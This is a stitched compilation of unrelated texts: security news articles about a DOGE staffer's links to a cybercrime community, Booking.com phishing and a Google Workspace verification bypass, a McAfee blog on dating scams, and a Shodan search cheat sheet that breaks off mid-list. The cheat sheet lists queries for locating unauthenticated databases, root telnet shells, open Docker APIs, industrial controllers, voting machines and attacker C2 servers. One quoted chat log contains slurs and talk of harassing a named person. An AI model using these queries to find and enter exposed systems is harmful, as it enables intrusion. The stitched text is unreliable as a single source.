Teen on Musk’s DOGE Team Graduated from ‘The Com’

Wired reported this week that a 19-year-old working for Elon Musk‘s so-called Department of Government Efficiency (DOGE) was given access to sensitive US government systems even though his past association with cybercrime communities should have precluded him from gaining the necessary security clearances to do so. As today’s story explores, the DOGE teen is a former denizen of ‘The Com,’ an archipelago of Discord and Telegram chat channels that function as a kind of distributed cybercriminal social network for facilitating instant collaboration.

Since President Trump’s second inauguration, Musk’s DOGE team has gained access to a truly staggering amount of personal and sensitive data on American citizens, moving quickly to seize control over databases at the U.S. Treasury, the Office of Personnel Management, the Department of Education, and the Department of Health and Human Resources, among others.

Wired first reported on Feb. 2 that one of the technologists on Musk’s crew is a 19-year-old high school graduate named Edward Coristine, who reportedly goes by the nickname “Big Balls” online. One of the companies Coristine founded, Tesla.Sexy LLC, was set up in 2021, when he would have been around 16 years old.

“Tesla.Sexy LLC controls dozens of web domains, including at least two Russian-registered domains,” Wired reported. “One of those domains, which is still active, offers a service called Helfie, which is an AI bot for Discord servers targeting the Russian market. While the operation of a Russian website would not violate US sanctions preventing Americans doing business with Russian companies, it could potentially be a factor in a security clearance review.”

Mr. Coristine has not responded to requests for comment. In a follow-up story this week, Wired found that someone using a Telegram handle tied to Coristine solicited a DDoS-for-hire service in 2022, and that he worked for a short time at a company that specializes in protecting customers from DDoS attacks.

A profile photo from Coristine’s WhatsApp account.

Internet routing records show that Coristine runs an Internet service provider called Packetware (AS400495). Also known as “DiamondCDN,” Packetware currently hosts tesla[.]sexy and diamondcdn[.]com, among other domains.

DiamondCDN was advertised and claimed by someone who used the nickname “Rivage” on several Com-based Discord channels over the years. A review of chat logs from some of those channels show other members frequently referred to Rivage as “Edward.”

From late 2020 to late 2024, Rivage’s conversations would show up in multiple Com chat servers that are closely monitored by security companies. In November 2022, Rivage could be seen requesting recommendations for a reliable and powerful DDoS-for-hire service.

Rivage made that request in the cybercrime channel “Dstat,” a core Com hub where users could buy and sell attack services. Dstat’s website dstat[.]cc was seized in 2024 as part of “Operation PowerOFF,” an international law enforcement action against DDoS services.

Coristine’s LinkedIn profile said that in 2022 he worked at an anti-DDoS company called Path Networks, which Wired generously described as a “network monitoring firm known for hiring reformed blackhat hackers.” Wired wrote:

“At Path Network, Coristine worked as a systems engineer from April to June of 2022, according to his now-deleted LinkedIn résumé. Path has at times listed as employees Eric Taylor, also known as Cosmo the God, a well-known former cybercriminal and member of the hacker group UGNazis, as well as Matthew Flannery, an Australian convicted hacker whom police allege was a member of the hacker group LulzSec. It’s unclear whether Coristine worked at Path concurrently with those hackers, and WIRED found no evidence that either Coristine or other Path employees engaged in illegal activity while at the company.”

The founder of Path is a young man named Marshal Webb. I wrote about Webb back in 2016, in a story about a DDoS defense company he co-founded called BackConnect Security LLC. On September 20, 2016, KrebsOnSecurity published data showing that the company had a history of hijacking Internet address space that belonged to others.

Less than 24 hours after that story ran, KrebsOnSecurity.com was hit with the biggest DDoS attack the Internet had ever seen at the time. That sustained attack kept this site offline for nearly 4 days.

The other founder of BackConnect Security LLC was Tucker Preston, a Georgia man who pleaded guilty in 2020 to paying a DDoS-for-hire service to launch attacks against others.

The aforementioned Path employee Eric Taylor pleaded guilty in 2017 to charges including an attack on our home in 2013. Taylor was among several men involved in making a false report to my local police department about a supposed hostage situation at our residence in Virginia. In response, a heavily-armed police force surrounded my home and put me in handcuffs at gunpoint before the police realized it was all a dangerous hoax known as “swatting.”

CosmoTheGod rocketed to Internet infamy in 2013 when he and a number of other hackers set up the Web site exposed[dot]su, which “doxed” dozens of public officials and celebrities by publishing the address, Social Security numbers and other personal information on the former First Lady Michelle Obama, the then-director of the FBI and the U.S. attorney general, among others. The group also swatted many of the people they doxed.

Wired noted that Coristine only worked at Path for a few months in 2022, but the story didn’t mention why his tenure was so short. A screenshot shared on the website pathtruths.com includes a snippet of conversations in June 2022 between Path employees discussing Coristine’s firing.

According to that record, Path founder Marshal Webb dismissed Coristine for leaking internal documents to a competitor. Not long after Coristine’s termination, someone leaked an abundance of internal Path documents and conversations. Among other things, those chats revealed that one of Path’s technicians was a Canadian man named Curtis Gervais who was convicted in 2017 of perpetrating dozens of swatting attacks and fake bomb threats — including at least two attempts against our home in 2014.

A snippet of text from an internal Path chat room, wherein members discuss the reason for Coristine’s termination: Allegedly, leaking internal company information. Source: Pathtruths.com.

On May 11, 2024, Rivage posted on a Discord channel for a DDoS protection service that is chiefly marketed to members of The Com. Rivage expressed frustration with his time spent on Com-based communities, suggesting that its profitability had been oversold.

“I don’t think there’s a lot of money to be made in the com,” Rivage lamented. “I’m not buying Heztner [servers] to set up some com VPN.”

Rivage largely stopped posting messages on Com channels after that. Wired reports that Coristine subsequently spent three months last summer working at Neuralink, Elon Musk’s brain implant startup.

The trouble with all this is that even if someone sincerely intends to exit The Com after years of consorting with cybercriminals, they are often still subject to personal attacks, harassment and hacking long after they have left the scene.

That’s because a huge part of Com culture involves harassing, swatting and hacking other members of the community. These internecine attacks are often for financial gain, but just as frequently they are perpetrated by cybercrime groups to exact retribution from or assert dominance over rival gangs.

Experts say it is extremely difficult for former members of violent street gangs to gain a security clearance needed to view sensitive or classified information held by the U.S. government. That’s because ex-gang members are highly susceptible to extortion and coercion from current members of the same gang, and that alone presents an unacceptable security risk for intelligence agencies.

And make no mistake: The Com is the English-language cybercriminal hacking equivalent of a violent street gang. KrebsOnSecurity has published numerous stories detailing how feuds within the community periodically spill over into real-world violence.

When Coristine’s name surfaced in Wired‘s report this week, members of The Com immediately took notice. In the following segment from a February 5, 2025 chat in a Com-affiliated hosting provider, members criticized Rivage’s skills, and discussed harassing his family and notifying authorities about incriminating accusations that may or may not be true.

2025-02-05 16:29:44 UTC vperked#0 they got this nigga on indiatimes man
2025-02-05 16:29:46 UTC alexaloo#0 Their cropping is worse than AI could have done
2025-02-05 16:29:48 UTC hebeatsme#0 bro who is that
2025-02-05 16:29:53 UTC hebeatsme#0 yalla re talking about
2025-02-05 16:29:56 UTC xewdy#0 edward
2025-02-05 16:29:56 UTC .yarrb#0 rivagew
2025-02-05 16:29:57 UTC vperked#0 Rivarge
2025-02-05 16:29:57 UTC xewdy#0 diamondcdm
2025-02-05 16:29:59 UTC vperked#0 i cant spell it
2025-02-05 16:30:00 UTC hebeatsme#0 rivage
2025-02-05 16:30:08 UTC .yarrb#0 yes
2025-02-05 16:30:14 UTC hebeatsme#0 i have him added
2025-02-05 16:30:20 UTC hebeatsme#0 hes on discord still
2025-02-05 16:30:47 UTC .yarrb#0 hes focused on stroking zaddy elon
2025-02-05 16:30:47 UTC vperked#0 https://en.wikipedia.org/wiki/Edward_Coristine
2025-02-05 16:30:50 UTC vperked#0 no fucking way
2025-02-05 16:30:53 UTC vperked#0 they even made a wiki for him
2025-02-05 16:30:55 UTC vperked#0 LOOOL
2025-02-05 16:31:05 UTC hebeatsme#0 no way
2025-02-05 16:31:08 UTC hebeatsme#0 hes not a good dev either
2025-02-05 16:31:14 UTC hebeatsme#0 like????
2025-02-05 16:31:22 UTC hebeatsme#0 has to be fake
2025-02-05 16:31:24 UTC xewdy#0 and theyre saying ts
2025-02-05 16:31:29 UTC xewdy#0 like ok bro
2025-02-05 16:31:51 UTC .yarrb#0 now i wanna know what all the other devs are like…
2025-02-05 16:32:00 UTC vperked#0 “`Coristine used the moniker “bigballs” on LinkedIn and @Edwardbigballer on Twitter, according to The Daily Dot.[“`
2025-02-05 16:32:05 UTC vperked#0 LOL
2025-02-05 16:32:06 UTC hebeatsme#0 lmfaooo
2025-02-05 16:32:07 UTC vperked#0 bro
2025-02-05 16:32:10 UTC hebeatsme#0 bro
2025-02-05 16:32:17 UTC hebeatsme#0 has to be fake right
2025-02-05 16:32:22 UTC .yarrb#0 does it mention Rivage?
2025-02-05 16:32:23 UTC xewdy#0 He previously worked for NeuraLink, a brain computer interface company led by Elon Musk
2025-02-05 16:32:26 UTC xewdy#0 bro what
2025-02-05 16:32:27 UTC alexaloo#0 I think your current occupation gives you a good insight of what probably goes on
2025-02-05 16:32:29 UTC hebeatsme#0 bullshit man
2025-02-05 16:32:33 UTC xewdy#0 this nigga got hella secrets
2025-02-05 16:32:37 UTC hebeatsme#0 rivage couldnt print hello world
2025-02-05 16:32:42 UTC hebeatsme#0 if his life was on the line
2025-02-05 16:32:50 UTC xewdy#0 nigga worked for neuralink
2025-02-05 16:32:54 UTC hebeatsme#0 bullshit
2025-02-05 16:33:06 UTC Nashville Dispatch ##0000 ||@PD Ping||
2025-02-05 16:33:07 UTC hebeatsme#0 must have killed all those test pigs with some bugs
2025-02-05 16:33:24 UTC hebeatsme#0 ur telling me the rivage who failed to start a company
2025-02-05 16:33:28 UTC hebeatsme#0 https://cdn.camp
2025-02-05 16:33:32 UTC hebeatsme#0 who didnt pay for servers
2025-02-05 16:33:34 UTC hebeatsme#0 ?
2025-02-05 16:33:42 UTC hebeatsme#0 was too cheap
2025-02-05 16:33:44 UTC vperked#0 yes
2025-02-05 16:33:50 UTC hebeatsme#0 like??
2025-02-05 16:33:53 UTC hebeatsme#0 it aint adding up
2025-02-05 16:33:56 UTC alexaloo#0 He just needed to find his calling idiot.
2025-02-05 16:33:58 UTC alexaloo#0 He found it.
2025-02-05 16:33:59 UTC hebeatsme#0 bro
2025-02-05 16:34:01 UTC alexaloo#0 Cope in a river dude
2025-02-05 16:34:04 UTC hebeatsme#0 he cant make good money right
2025-02-05 16:34:08 UTC hebeatsme#0 doge is about efficiency
2025-02-05 16:34:11 UTC hebeatsme#0 he should make $1/he
2025-02-05 16:34:15 UTC hebeatsme#0 $1/hr
2025-02-05 16:34:25 UTC hebeatsme#0 and be whipped for better code
2025-02-05 16:34:26 UTC vperked#0 prolly makes more than us
2025-02-05 16:34:35 UTC vperked#0 with his dad too
2025-02-05 16:34:52 UTC hebeatsme#0 time to report him for fraud
2025-02-05 16:34:54 UTC hebeatsme#0 to donald trump
2025-02-05 16:35:04 UTC hebeatsme#0 rivage participated in sim swap hacks in 2018
2025-02-05 16:35:08 UTC hebeatsme#0 put that on his wiki
2025-02-05 16:35:10 UTC hebeatsme#0 thanks
2025-02-05 16:35:15 UTC hebeatsme#0 and in 2021
2025-02-05 16:35:17 UTC hebeatsme#0 thanks
2025-02-05 16:35:19 UTC chainofcommand#0 i dont think they’ll care tbh

Given the speed with which Musk’s DOGE team was allowed access to such critical government databases, it strains credulity that Coristine could have been properly cleared beforehand. After all, he’d recently been dismissed from a job for allegedly leaking internal company information to outsiders.

According to the national security adjudication guidelines (PDF) released by the Director of National Intelligence (DNI), eligibility determinations take into account a person’s stability, trustworthiness, reliability, discretion, character, honesty, judgment, and ability to protect classified information.

The DNI policy further states that “eligibility for covered individuals shall be granted only when facts and circumstances indicate that eligibility is clearly consistent with the national security interests of the United States, and any doubt shall be resolved in favor of national security.”

On Thursday, 25-year-old DOGE staff member Marko Elez resigned after being linked to a deleted social media account that advocated racism and eugenics. Elez resigned after The Wall Street Journal asked the White House about his connection to the account.

“Just for the record, I was racist before it was cool,” the account posted in July. “You could not pay me to marry outside of my ethnicity,” the account wrote on X in September. “Normalize Indian hate,” the account wrote the same month, in reference to a post noting the prevalence of people from India in Silicon Valley.

Elez’s resignation came a day after the Department of Justice agreed to limit the number of DOGE employees who have access to federal payment systems. The DOJ said access would be limited to two people, Elez and Tom Krause, the CEO of a company called Cloud Software Group.

Earlier today, Musk said he planned to rehire Elez after President Trump and Vice President JD Vance reportedly endorsed the idea. Speaking at The White House today, Trump said he wasn’t concerned about the security of personal information and other data accessed by DOGE, adding that he was “very proud of the job that this group of young people” are doing.

A White House official told Reuters on Wednesday that Musk and his engineers have appropriate security clearances and are operating in “full compliance with federal law, appropriate security clearances, and as employees of the relevant agencies, not as outside advisors or entities.”

NPR reports Trump added that his administration’s cost-cutting efforts would soon turn to the Education Department and the Pentagon, “where he suggested without evidence that there could be ‘trillions’ of dollars in wasted spending within the $6.75 trillion the federal government spent in fiscal year 2024.”

GOP leaders in the Republican-controlled House and Senate have largely shrugged about Musk’s ongoing efforts to seize control over federal databases, dismantle agencies mandated by Congress, freeze federal spending on a range of already-appropriated government programs, and threaten workers with layoffs.

Meanwhile, multiple parties have sued to stop DOGE’s activities. ABC News says a federal judge was to rule today on whether DOGE should be blocked from accessing Department of Labor records, following a lawsuit alleging Musk’s team sought to illegally access highly sensitive data, including medical information, from the federal government.

At least 13 state attorneys general say they plan to file a lawsuit to stop DOGE from accessing federal payment systems containing Americans’ sensitive personal information, reports The Associated Press.

Reuters reported Thursday that the U.S. Treasury Department had agreed not to give Musk’s team access to its payment systems while a judge is hearing arguments in a lawsuit by employee unions and retirees alleging Musk illegally searched those records.

Ars Technica writes that The Department of Education (DoE) was sued Friday by a California student association demanding an “immediate stop” to DOGE’s “unlawfully” digging through student loan data to potentially dismantle the DoE.

Booking.com Phishers May Leave You With Reservations

A number of cybercriminal innovations are making it easier for scammers to cash in on your upcoming travel plans. This story examines a recent spear-phishing campaign that ensued when a California hotel had its booking.com credentials stolen. We’ll also explore an array of cybercrime services aimed at phishers who target hotels that rely on the world’s most visited travel website.

According to the market share website statista.com, booking.com is by far the Internet’s busiest travel service, with nearly 550 million visits in September. KrebsOnSecurity last week heard from a reader whose close friend received a targeted phishing message within the Booking mobile app just minutes after making a reservation at a California hotel.

The missive bore the name of the hotel and referenced details from their reservation, claiming that booking.com’s anti-fraud system required additional information about the customer before the reservation could be finalized.

The phishing message our reader’s friend received after making a reservation at booking.com in late October.

In an email to KrebsOnSecurity, booking.com confirmed one of its partners had suffered a security incident that allowed unauthorized access to customer booking information.

“Our security teams are currently investigating the incident you mentioned and can confirm that it was indeed a phishing attack targeting one of our accommodation partners, which unfortunately is not a new situation and quite common across industries,” booking.com replied. “Importantly, we want to clarify that there has been no compromise of Booking.com’s internal systems.”

The phony booking.com website generated by visiting the link in the text message.

Booking.com said it now requires 2FA, which forces partners to provide a one-time passcode from a mobile authentication app (Pulse) in addition to a username and password.

“2FA is required and enforced, including for partners to access payment details from customers securely,” a booking.com spokesperson wrote. “That’s why the cybercriminals follow-up with messages to try and get customers to make payments outside of our platform.”

“That said, the phishing attacks stem from partners’ machines being compromised with malware, which has enabled them to also gain access to the partners’ accounts and to send the messages that your reader has flagged,” they continued.

It’s unclear, however, if the company’s 2FA requirement is enforced for all or just newer partners. Booking.com did not respond to questions about that, and its current account security advice urges customers to enable 2FA.

A scan of social media networks showed this is not an uncommon scam.

In November 2023, the security firm SecureWorks detailed how scammers targeted booking.com hospitality partners with data-stealing malware. SecureWorks said these attacks had been going on since at least March 2023.

“The hotel did not enable multi-factor authentication (MFA) on its Booking.com access, so logging into the account with the stolen credentials was easy,” SecureWorks said of the booking.com partner it investigated.

In June 2024, booking.com told the BBC that phishing attacks targeting travelers had increased 900 percent, and that thieves taking advantage of new artificial intelligence (AI) tools were the primary driver of this trend.

Booking.com told the BCC the company had started using AI to fight AI-based phishing attacks. Booking.com’s statement said their investments in that arena “blocked 85 million fraudulent reservations over more than 1.5 million phishing attempts in 2023.”

The domain name in the phony booking.com website sent to our reader’s friend — guestssecureverification[.]com — was registered to the email address ilotirabec207@gmail.com. According to DomainTools.com, this email address was used to register more than 700 other phishing domains in the past month alone.

Many of the 700+ domains appear to target hospitality companies, including platforms like booking.com and Airbnb. Others seem crafted to phish users of Shopify, Steam, and a variety of financial platforms. A full, defanged list of domains is available here.

A cursory review of recent posts across dozens of cybercrime forums monitored by the security firm Intel 471 shows there is a great demand for compromised booking.com accounts belonging to hotels and other partners.

One post last month on the Russian-language hacking forum BHF offered up to $5,000 for each hotel account. This seller claims to help people monetize hacked booking.com partners, apparently by using the stolen credentials to set up fraudulent listings.

A service advertised on the English-language crime community BreachForums in October courts phishers who may need help with certain aspects of their phishing campaigns targeting booking.com partners. Those include more than two million hotel email addresses, and services designed to help phishers organize large volumes of phished records. Customers can interact with the service via an automated Telegram bot.

Some cybercriminals appear to have used compromised booking.com accounts to power their own travel agencies catering to fellow scammers, with up to 50 percent discounts on hotel reservations through booking.com. Others are selling ready-to-use “config” files designed to make it simple to conduct automated login attempts against booking.com administrator accounts.

SecureWorks found the phishers targeting booking.com partner hotels used malware to steal credentials. But today’s thieves can just as easily just visit crime bazaars online and purchase stolen credentials to cloud services that do not enforce 2FA for all accounts.

That is exactly what transpired over the past year with many customers of the cloud data storage giant Snowflake. In late 2023, cybercriminals figured out that while tons of companies had stashed enormous amounts of customer data at Snowflake, many of those customer accounts were not protected by 2FA.

Snowflake responded by making 2FA mandatory for all new customers. But that change came only after thieves used stolen credentials to siphon data from 160 companies — including AT&T, Lending Tree and TicketMaster.

Crooks Bypassed Google’s Email Verification to Create Workspace Accounts, Access 3rd-Party Services

Google says it recently fixed an authentication weakness that allowed crooks to circumvent the email verification required to create a Google Workspace account, and leverage that to impersonate a domain holder at third-party services that allow logins through Google’s “Sign in with Google” feature.

Last week, KrebsOnSecurity heard from a reader who said they received a notice that their email address had been used to create a potentially malicious Workspace account that Google had blocked.

“In the last few weeks, we identified a small-scale abuse campaign whereby bad actors circumvented the email verification step in our account creation flow for Email Verified (EV) Google Workspace accounts using a specially constructed request,” the notice from Google read. “These EV users could then be used to gain access to third-party applications using ‘Sign In with Google’.”

In response to questions, Google said it fixed the problem within 72 hours of discovering it, and that the company has added additional detection to protect against these types of authentication bypasses going forward.

Anu Yamunan, director of abuse and safety protections at Google Workspace, told KrebsOnSecurity the malicious activity began in late June, and involved “a few thousand” Workspace accounts that were created without being domain-verified.

Google Workspace offers a free trial that people can use to access services like Google Docs, but other services such as Gmail are only available to Workspace users who can validate control over the domain name associated with their email address. The weakness Google fixed allowed attackers to bypass this validation process. Google emphasized that none of the affected domains had previously been associated with Workspace accounts or services.

“The tactic here was to create a specifically-constructed request by a bad actor to circumvent email verification during the signup process,” Yamunan said. “The vector here is they would use one email address to try to sign in, and a completely different email address to verify a token. Once they were email verified, in some cases we have seen them access third party services using Google single sign-on.”

Yamunan said none of the potentially malicious workspace accounts were used to abuse Google services, but rather the attackers sought to impersonate the domain holder to other services online.

In the case of the reader who shared the breach notice from Google, the imposters used the authentication bypass to associate his domain with a Workspace account. And that domain was tied to his login at several third-party services online. Indeed, the alert this reader received from Google said the unauthorized Workspace account appears to have been used to sign in to his account at Dropbox.

Google said the now-fixed authentication bypass is unrelated to a recent issue involving cryptocurrency-based domain names that were apparently compromised in their transition to Squarespace, which last year acquired more than 10 million domains that were registered via Google Domains.

On July 12, a number of domains tied to cryptocurrency businesses were hijacked from Squarespace users who hadn’t yet set up their Squarespace accounts. Squarespace has since published a statement blaming the domain hijacks on “a weakness related to OAuth logins”, which Squarespace said it fixed within hours.

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How to Spot Dating Scams

For years now, the popularity of online dating has been on the rise—and so have the number of online romance scams that leave people with broken hearts and empty wallets.

In a recent CBS News story, one Texan woman was scammed out of $3,200 by a scammer claiming to be a German Cardiologist.  After months of exchanging messages and claiming to be in love with her, he said that he’d been robbed while on a business trip in Nigeria and needed her help.

According to the U.S. Federal Trade Commission (FTC), the reported cost of online romance scams was $1.14 billion in 2023. 

How do online dating and romance scams get started? 

Dating and romance scams aren’t limited to online dating apps and sites, they’ll happen on social media and in online games as well. However, the FTC reports that the scam usually starts the same way, typically through an unexpected friend request or a message that comes out of the blue. 

With the phony relationship established, the scammer starts asking for money. The FTC reports that they’ll ask for money for several bogus reasons, usually revolving around some sort of hardship where they need a “little help” so that they can pay: 

• For a plane ticket or other travel expenses. 
• For medical expenses. 
• Customs fees to retrieve something. 
• Gambling debts. 
• A visa or other official travel documents. 

The list goes on, yet that’s the general gist. Scammers often employ a story with an intriguing complication that seems just reasonable enough, one where the romance scammer makes it sound like they could really use the victim’s financial help. 

Common types of online dating scams 

People who have filed fraud reports say they’ve paid their scammer in a few typical ways.  

One is by wiring money, often through a wire transfer company. The benefit of this route, for the scammer anyway, is that this is as good as forking over cash. Once it’s gone, it’s gone. The victim lacks the protections they have with other payment forms, such as a credit card that allows the holder to cancel or contest a charge. 

Another way is through gift cards. Scammers of all stripes, not just romance scammers, like these because they effectively work like cash, whether it’s a gift card for a major online retailer or a chain of brick-and-mortar stores. Like a wire transfer, once that gift card is handed over, the money on it is highly difficult to recover, if at all. 

One more common payment is through reloadable debit cards. A scammer may make an initial request for such a card and then make several follow-on requests to load it up again.  

In all, a romance scammer will typically look for the easiest payment method that’s the most difficult to contest or reimburse, leaving the victim in a financial lurch once the scam ends. 

How Do You Avoid Getting Tangled Up in an Online Dating or Romance Scam? 

When it comes to meeting new people online, the FTC suggests the following: 

• Never send money or gifts to someone you haven’t met in person—even if they send you money first. 
• Talk to someone you trust about this new love interest. It can be easy to miss things that don’t add up. So pay attention if your friends or family are concerned. 
• Take the relationship slowly. Ask questions and look for inconsistent answers. 
• Try a reverse-image search of any profile pictures the person uses. If they’re associated with another name or with details that don’t match up, it’s a scam. 

Scammers, although arguably heartless, are still human. They make mistakes. The stories they concoct are just that. Stories. They may jumble their details, get their times and dates all wrong, or simply get caught in an apparent lie. Also, keep in mind that some scammers may be working with several victims at once, which is yet another opportunity for them to get confused and slip up. 

Protecting Yourself Further From Scams on Your Social Media Accounts 

As mentioned above, some romance scammers troll social media and reach out through direct messages or friend requests. With that, there are three things you can do to cut down your chances of getting caught up with a scammer: 

1. Go private

Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy and give a romance scammer less information to exploit. 

2. Say “no” to strangers bearing friend requests

Be critical of the invitations you receive. Out-and-out strangers could be more than a romance scammer, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q4 of 2023 alone, Facebook took action on 693 million fake accounts. Reject such requests. 

3. Protect yourself and your devices

Online protection software like ours can help you spot fakes and scams. Features like Text Scam Detector use advanced AI to detect scam links in texts, email, and social media messages before you click. Our Personal Data Cleanup can keep you safer still by removing your personal info from sketchy data broker sites — places where scammers go to harvest useful info on their victims. And if the unfortunate happens, we offer $2 million in identity theft coverage and identity restoration support.​

Put an End to it 

If you suspect that you’re being scammed, put an end to the relationship and report it, as difficult as that may feel. 

Notify the FTC at ReportFraud.ftc.gov for support and next steps to help you recover financially as much as possible. Likewise, notify the social media site, app, or service where the scam occurred as well. In some cases, you may want to file a police report, which we cover in our broader article on identity theft and fraud.  

If you sent funds via a gift card, the FTC suggests filing a claim with the company as soon as possible. They offer further advice on filing a claim here, along with a list of contact numbers for gift card brands that scammers commonly use.  

Lastly, go easy on yourself. If you find yourself a victim of online dating or romance fraud, know that you won’t be the first or last person to be taken advantage of this way. By reporting your case, you in fact may help others from falling victim too. 

The post How to Spot Dating Scams appeared first on McAfee Blog.

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city:

Find devices in a particular city. city:"Bangalore"

country:

Find devices in a particular country. country:"IN"

geo:

Find devices by giving geographical coordinates. geo:"56.913055,118.250862"

Location

country:us country:ru country:de city:chicago

hostname:

Find devices matching the hostname. server: "gws" hostname:"google" hostname:example.com -hostname:subdomain.example.com hostname:example.com,example.org

net:

Find devices based on an IP address or /x CIDR. net:210.214.0.0/16

Organization

org:microsoft org:"United States Department"

Autonomous System Number (ASN)

asn:ASxxxx

os:

Find devices based on operating system. os:"windows 7"

port:

Find devices based on open ports. proftpd port:21

before/after:

Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010

SSL/TLS Certificates

Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com

Expired certificates ssl.cert.expired:true

ssl.cert.subject.cn:example.com

Device Type

device:firewall device:router device:wap device:webcam device:media device:"broadband router" device:pbx device:printer device:switch device:storage device:specialized device:phone device:"voip" device:"voip phone" device:"voip adaptor" device:"load balancer" device:"print server" device:terminal device:remote device:telecom device:power device:proxy device:pda device:bridge

Operating System

os:"windows 7" os:"windows server 2012" os:"linux 3.x"

Product

product:apache product:nginx product:android product:chromecast

Customer Premises Equipment (CPE)

cpe:apple cpe:microsoft cpe:nginx cpe:cisco

Server

server: nginx server: apache server: microsoft server: cisco-ios

ssh fingerprints

dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

Web

Pulse Secure

http.html:/dana-na

PEM Certificates

http.title:"Index of /" http.html:".pem"

Tor / Dark Web sites

onion-location

Databases

MySQL

"product:MySQL" mysql port:"3306"

MongoDB

"product:MongoDB" mongodb port:27017

Fully open MongoDBs

"MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK" "MongoDB Server Information" port:27017 -authentication

Kibana dashboards without authentication

kibana content-legth:217

elastic

port:9200 json port:"9200" all:elastic port:"9200" all:"elastic indices"

Memcached

"product:Memcached"

CouchDB

"product:CouchDB" port:"5984"+Server: "CouchDB/2.1.0"

PostgreSQL

"port:5432 PostgreSQL"

Riak

"port:8087 Riak"

Redis

"product:Redis"

Cassandra

"product:Cassandra"

Industrial Control Systems

Samsung Electronic Billboards

"Server: Prismview Player"

Gas Station Pump Controllers

"in-tank inventory" port:10001

Fuel Pumps connected to internet:

No auth required to access CLI terminal. "privileged command" GET

Automatic License Plate Readers

P372 "ANPR enabled"

Traffic Light Controllers / Red Light Cameras

mikrotik streetlight

Voting Machines in the United States

"voter system serial" country:US

Open ATM:

May allow for ATM Access availability NCR Port:"161"

Telcos Running Cisco Lawful Intercept Wiretaps

"Cisco IOS" "ADVIPSERVICESK9_LI-M"

Prison Pay Phones

"[2J[H Encartele Confidential"

Tesla PowerPack Charging Status

http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

Electric Vehicle Chargers

"Server: gSOAP/2.8" "Content-Length: 583"

Maritime Satellites

Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!

"Cobham SATCOM" OR ("Sailor" "VSAT")

Submarine Mission Control Dashboards

title:"Slocum Fleet Mission Control"

CAREL PlantVisor Refrigeration Units

"Server: CarelDataServer" "200 Document follows"

Nordex Wind Turbine Farms

http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"

C4 Max Commercial Vehicle GPS Trackers

"[1m[35mWelcome on console"

DICOM Medical X-Ray Machines

Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.

"DICOM Server Response" port:104

GaugeTech Electricity Meters

"Server: EIG Embedded Web Server" "200 Document follows"

Siemens Industrial Automation

"Siemens, SIMATIC" port:161

Siemens HVAC Controllers

"Server: Microsoft-WinCE" "Content-Length: 12581"

Door / Lock Access Controllers

"HID VertX" port:4070

Railroad Management

"log off" "select the appropriate"

Tesla Powerpack charging Status:

Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

XZERES Wind Turbine

title:"xzeres wind"

PIPS Automated License Plate Reader

"html:"PIPS Technology ALPR Processors""

Modbus

"port:502"

Niagara Fox

"port:1911,4911 product:Niagara"

GE-SRTP

"port:18245,18246 product:"general electric""

MELSEC-Q

"port:5006,5007 product:mitsubishi"

CODESYS

"port:2455 operating system"

S7

"port:102"

BACnet

"port:47808"

HART-IP

"port:5094 hart-ip"

Omron FINS

"port:9600 response code"

IEC 60870-5-104

"port:2404 asdu address"

DNP3

"port:20000 source address"

EtherNet/IP

"port:44818"

PCWorx

"port:1962 PLC"

Crimson v3.0

"port:789 product:"Red Lion Controls"

ProConOS

"port:20547 PLC"

Remote Desktop

Unprotected VNC

"authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"

Windows RDP

99.99% are secured by a secondary Windows login screen.

"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

C2 Infrastructure

CobaltStrike Servers

product:"cobalt strike team server" product:"Cobalt Strike Beacon" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 ssl:foren.zik

Brute Ratel

http.html_hash:-1957161625 product:"Brute Ratel C4"

Covenant

ssl:"Covenant" http.component:"Blazor"

Metasploit

ssl:"MetasploitSelfSignedCA"

Network Infrastructure

Hacked routers:

Routers which got compromised hacked-router-help-sos

Redis open instances

product:"Redis key-value store"

Citrix:

Find Citrix Gateway. title:"citrix gateway"

Weave Scope Dashboards

Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.

title:"Weave Scope" http.favicon.hash:567176827

Jenkins CI

"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

Jenkins:

Jenkins Unrestricted Dashboard x-jenkins 200

Docker APIs

"Docker Containers:" port:2375

Docker Private Registries

"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab

Pi-hole Open DNS Servers

"dnsmasq-pi-hole" "Recursion: enabled"

DNS Servers with recursion

"port: 53" Recursion: Enabled

Already Logged-In as root via Telnet

"root@" port:23 -login -password -name -Session

Telnet Access:

NO password required for telnet access. port:23 console gateway

Polycom video-conference system no-auth shell

"polycom command shell"

NPort serial-to-eth / MoCA devices without password

nport -keyin port:23

Android Root Bridges

A tangential result of Google's sloppy fractured update approach. 🙄 More information here.

"Android Debug Bridge" "Device" port:5555

Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords

Lantronix password port:30718 -secured

Citrix Virtual Apps

"Citrix Applications:" port:1604

Cisco Smart Install

Vulnerable (kind of "by design," but especially when exposed).

"smart install client active"

PBX IP Phone Gateways

PBX "gateway console" -password port:23

Polycom Video Conferencing

http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23

Telnet Configuration:

"Polycom Command Shell" -failed port:23

Example: Polycom Video Conferencing

Bomgar Help Desk Portal

"Server: Bomgar" "200 OK"

Intel Active Management CVE-2017-5689

"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 "Active Management Technology"

HP iLO 4 CVE-2017-12542

